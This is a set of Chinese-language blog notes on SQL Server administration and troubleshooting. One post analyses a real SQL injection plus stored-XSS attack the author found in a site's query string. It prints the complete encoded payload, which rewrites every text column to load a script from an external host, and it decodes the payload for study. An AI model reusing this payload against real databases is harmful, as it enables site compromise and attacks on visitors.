資料庫測試Query執行時間等數據時。 要特別注意Cache與Buffers的影響,因此在每個Query測試前,須注意先將Cache與Buffers清除。以確保執行不受Cache與Buffers影響。執行Query如下:
DBCC FREEPROCCACHE;
DBCC DROPCLEANBUFFERS;
GO
每次要用都忘記,趕快寫下來XD
資料庫測試Query執行時間等數據時。 要特別注意Cache與Buffers的影響,因此在每個Query測試前,須注意先將Cache與Buffers清除。以確保執行不受Cache與Buffers影響。執行Query如下:
DBCC FREEPROCCACHE;
DBCC DROPCLEANBUFFERS;
GO
每次要用都忘記,趕快寫下來XD
今維護的網站,發生Exception錯誤訊息,Exception中QueryString部分,看起來十分奇怪。
不太對勁,分析後發現確實為被攻擊的現象。
簡單來說,攻擊手法是使用打游擊的方式到處測試網頁是否有 SQL injection 的漏洞,有的話,便將資料庫字串欄位附加上 <script>xss script</script> 的XSS攻擊指令,以便顯示在網頁時攻擊使用者電腦,是標準的 SQL Injection + Persisted XSS 攻擊。
而script部分,則利用iframe方式,讓網頁被打開時,javascript自動連結此不合法scipt中的iframe,而被連結之網址,便可透過觀測該網站的流量,與來訪紀錄,得知被攻擊成功的主機資訊,或是整體攻擊情況。
發現異常的QueryString:
OID=287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D07359734……………B2D2D%20eXeC(@s)--
以下為攻擊手法分析:
1. 將QueryString做URLDecode,轉回正常字串。
string querystr = @"287%3BdEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s%3D0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--"; string decode = HttpUtility.UrlDecode(querystr); Console.WriteLine(decode); //Decode結果如下 //"287;dEcLaRe @s vArChAr(8000) sEt @s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D eXeC(@s)--"
2. 發現上方Decode結果是個Tsql Query,主要執行@s = 0x6445634C61526…部分,因此繼續將此binary拿至sql2005解析。
3. 於SQL2005將binary query 轉回string query,解讀攻擊資訊。
--將被送入的binary query轉回string print convert(varchar(max),0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D, 2) --轉回的正常string,發現是一段store procedure,主要目的是更新被攻擊資料庫的data dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%22dnf%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;- --其中更新內容,也轉回string,內容為<script src=hccp://xxx.xxx/ff/y.js></script>,為避免誤點,網只是亂打的! print convert(varchar(max),0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E, 2) --最後將我門資料更新的結果,Our Data<script src=hccp://xxx.xxx/ff/y.js></script>select rtrim(convert(varchar(8000),'Our Data'))+cAsT(0x3C736372697074207372633D687474703A2F2F3232646E662E636F6D2F66662F792E6A733E3C2F7363726970743E aS vArChAr(51)) --用以上方式,搭配sql injection , 達到XSS攻擊!
以上如被攻擊成功,被攻擊網站即已被植入不法Script,可能繼續對瀏覽網站使用者造成傷害。
有時候,當專案有需求,希望可以在資料表中增加一個欄位。
當新增的欄位,或異動,需要重建資料表,才有辦法正確變更成功的話。
在Sql 2008 便會得到如下的訊息,提醒您的異動因為需要drop 再 re-create 資料表。
此異動在預設是不允許的,我想,也許這是要保護資料不會不小心被刪掉。
可是當我們是專案剛開始在設計資料表時,資料表內還沒有任何資料。
應該是可以異動,不會有風險的。那該怎麼辦呢?!
仔細看於上圖的訊息中,有提到一個新增的選項,
The Option Prevent saving changes that require the table to be re-created.
在新版的sql2008中,增加了這個選項的防護。確保資料不會不小心被刪除了。
但當我們真的需要直接重建資料表,
我們可以再以下路徑找到這個設定:
Option → Designer → Table and DataBase Designers → Prevent saving changes that require table re-creation.
預設這個選項是打勾的,表示需要啟用此保護機制。
在這邊只要將此選項勾選掉,即可直接儲存需Re-creation資料表的異動了。
但我想,異動完還是必須記得將此選項修改回啟用,
這選項應可有效確保資料不會因不小心異動資料表而被刪除!!!
遇到一個系統上的問題,將此次請教公司資深同事,一起將問題排除的整個過程做簡單記錄!
發生問題
於2010/04/17 20:00左右,系統某轉檔程式,會一直在同一個Query上發生資料庫TimeOut的問題,
但當我將此Query拿至SSMS執行,卻又相當正常(已執行ClearBuffer)。
問題排除整體分兩階段
[Log查詢,Performance Counter記錄,問題初步判斷]
[資料庫設定,問題排除]
以上排除問題方式我想有一定的方向可循,雖其中也還有許多疑點可循值得探討,可覺得還是一個不錯的錯誤排除記錄,可供往後繼續參考!
資料格式 | 字元編碼 | 占用資料空間 | 查詢速度(索引) | 支援國際化字元 |
nchar | Unicode | 較大 | 較慢 | 多 |
char | Ansi-string | 較小 | 較快 | 少 |
今天看到一篇相當實用的實戰文章,轉貼到此留存,想必未來一定能派上用場!
本文轉貼自 <http://www.dotblogs.com.tw/ricochen/archive/2010/01/11/12962.aspx>
今天一大早就遇到SQL Server硬碟壞軌,不過是開發環境所以也沒麼痛~哈。
DB相關Ldf檔案雖然都在壞軌硬碟中(OS也掛XD),但還好Mdf檔案存放在另一顆硬碟
所以就在換了一顆硬碟並安裝WIN2008+SQL2008完畢後
便可開始還原相關資料庫(好加在前些時候才演練過相關防災操作)
事前確認作業
1.存放Ldf路徑須相同。
如:舊路徑(D:\ldfdata),那麼新硬碟也需存在。
開始還原資料庫
1.建立新資料庫(Mdf和Ldf檔案名稱須和舊檔案相同)
(無相關Table objects)
2.複製舊MDF檔案至相關路徑
先停止SQL Server並刪除New MDF and LDF後再開始複製舊MDF檔案至相關目錄
完成後再啟動SQL SERVER並嘗試開啟資料庫會出現以下錯誤。
ALTER DATABASE demotest SET ONLINE; GO
(因為檔案被我們刪除了)
這時查看DB Status
select state_desc from sys.databases where name='demotest'
3.設定資料庫=EMERGENCY
EMERGENCY 主要用於進行疑難排解。例如,由於記錄檔損毀而被標示有疑問的資料庫可以設為 EMERGENCY 狀態。
在這個情況下,系統管理員可以進行資料庫的唯讀存取。只有系統管理員 (sysadmin) 固定伺服器角色的成員,
才能將資料庫的狀態設為 EMERGENCY。
ALTER DATABASE demotest SET EMERGENCY; GO DBCC CHECKDB (demotest, REPAIR_ALLOW_DATA_LOSS) WITH NO_INFOMSGS; GO
依錯誤訊息切換單一使用者模式
ALTER DATABASE demotest SET SINGLE_USER; GO DBCC CHECKDB (demotest, REPAIR_ALLOW_DATA_LOSS) WITH NO_INFOMSGS; GO
執行到這裡相關Ldf以重新建立,不過會遺失交易一致性(就是指DB Checkpoint時間點以內都可回復)。
4.再度確認DB Status
select state_desc from sys.databases where name='demotest'
5.檢查DB所有物件的邏輯完整性和實體完整性並更新統計值
6.確認資料庫相關物件
搞定收工。
今天需要使用到Asp.net Provider,這裡註記一下整個SqlServer的註冊過程。
這裡用UI介面設定方式來註冊,應該會簡單許多!
當然,這些步驟,也都可以用cmd方式完成。
更詳細的Aspnet_regsql.exe使用方式可參考網頁http://msdn.microsoft.com/zh-tw/library/ms229862(VS.80).aspx
剛在測試撰寫一段Query
順便介紹一下幾個好用的語法,可幫助除錯..等
waitfor delay '00:00:05:000'
此可讓作業暫停!
if @count%10000=0 print 'OK' else pirnt 'NG'
if else 判斷式..相當好用! %則是取餘數 ~
Set nocount on
可讓預設會顯示的『影響資料筆數』不顯示!
DECLARE InvoiceOID_cursor CURSOR FOR select oid from Invoice OPEN InvoiceOID_cursor FETCH NEXT FROM InvoiceOID_cursor INTO @InvoiceOID WHILE @@FETCH_STATUS = 0 BEGIN -- PRINT @message -- delete from XXX where oid = @InvoiceOID -- Do Something ! FETCH NEXT FROM InvoiceOID_cursor INTO @InvoiceOID END CLOSE InvoiceOID_cursor DEALLOCATE InvoiceOID_cursor
更改位置Script
USE master;
GO
ALTER DATABASE tempdb
MODIFY FILE (NAME = tempdev, FILENAME = 'E:\DB\tempdb.mdf');
GO
ALTER DATABASE tempdb
MODIFY FILE (NAME = templog, FILENAME = 'E:\DB\templog.ldf');
GO
完成後可用下方Query檢查是否更改完成。
SELECT name, physical_name AS CurrentLocation, state_desc
FROM sys.master_files
WHERE database_id = DB_ID(N'tempdb');
最後再重啟資料庫即可
可開啟SQL Server Configuration Manager視窗,看看SQL Server 服務中,是否有一項【SQL Server Integration Services】項目,
如果有的話,表示Integration Services服務已有安裝。沒有的話則需放入安裝光碟重新勾選安裝此項目。
即可確認是否有安裝並啟用了!
使用清除命令:
清除結果:
第一行命令,目的將Log記錄檔中斷,才可以進行有效的壓縮清理。
backup log VATC4_TH with TRUNCATE_ONLY
接著命令則為壓縮清理:
USE [VATC4_TH]
GO
DBCC SHRINKFILE (N'VATC4_Log' , 0, TRUNCATEONLY)
GO
如果你有在使用M$ SQL 2005 相信你也有痛苦的移除經驗!
怎麼移除才能重新安裝,這裡將我的實際經驗,分享給大家。
SQL 2005移除步驟
alter database vatc4 set single_user with rollback immediate; go; RESTORE DATABASE [VATC4] FROM DISK = N'D:\Tools\04Temp\20090324.bak' WITH FILE = 1, MOVE N'VATC4_Data' TO N'E:\DB\家樂福\VATC4.mdf', MOVE N'VATC4_Data2' TO N'E:\DB\家樂福\VATC_1.mdf', MOVE N'VATC4_Log' TO N'E:\DB\家樂福\VATC4.ldf', NOUNLOAD, REPLACE, STATS = 10; go; ALTER DATABASE VATC4 SET multi_user; go;
select Row_Number() over (order by papdno) as RowNt,papdno from pm10d;[輸出] 1 pdno1 2 pdno2 3 pdno3 . . . 10 pdno10 將行數轉為字串,並補0 select right('00'+ltrim(Row_Number() over (order by papdno)),3) as RowNt ,papdno from pm10d; [輸出] 001 pdno1 002 pdno2 003 pdno3 . . . 010 pdno10